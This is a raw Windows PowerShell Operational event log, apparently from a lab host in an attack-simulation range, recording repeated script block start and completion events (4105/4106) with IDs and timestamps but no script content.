Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041207
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041206
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041205
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041204
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041188
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041187
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041182
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041181
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
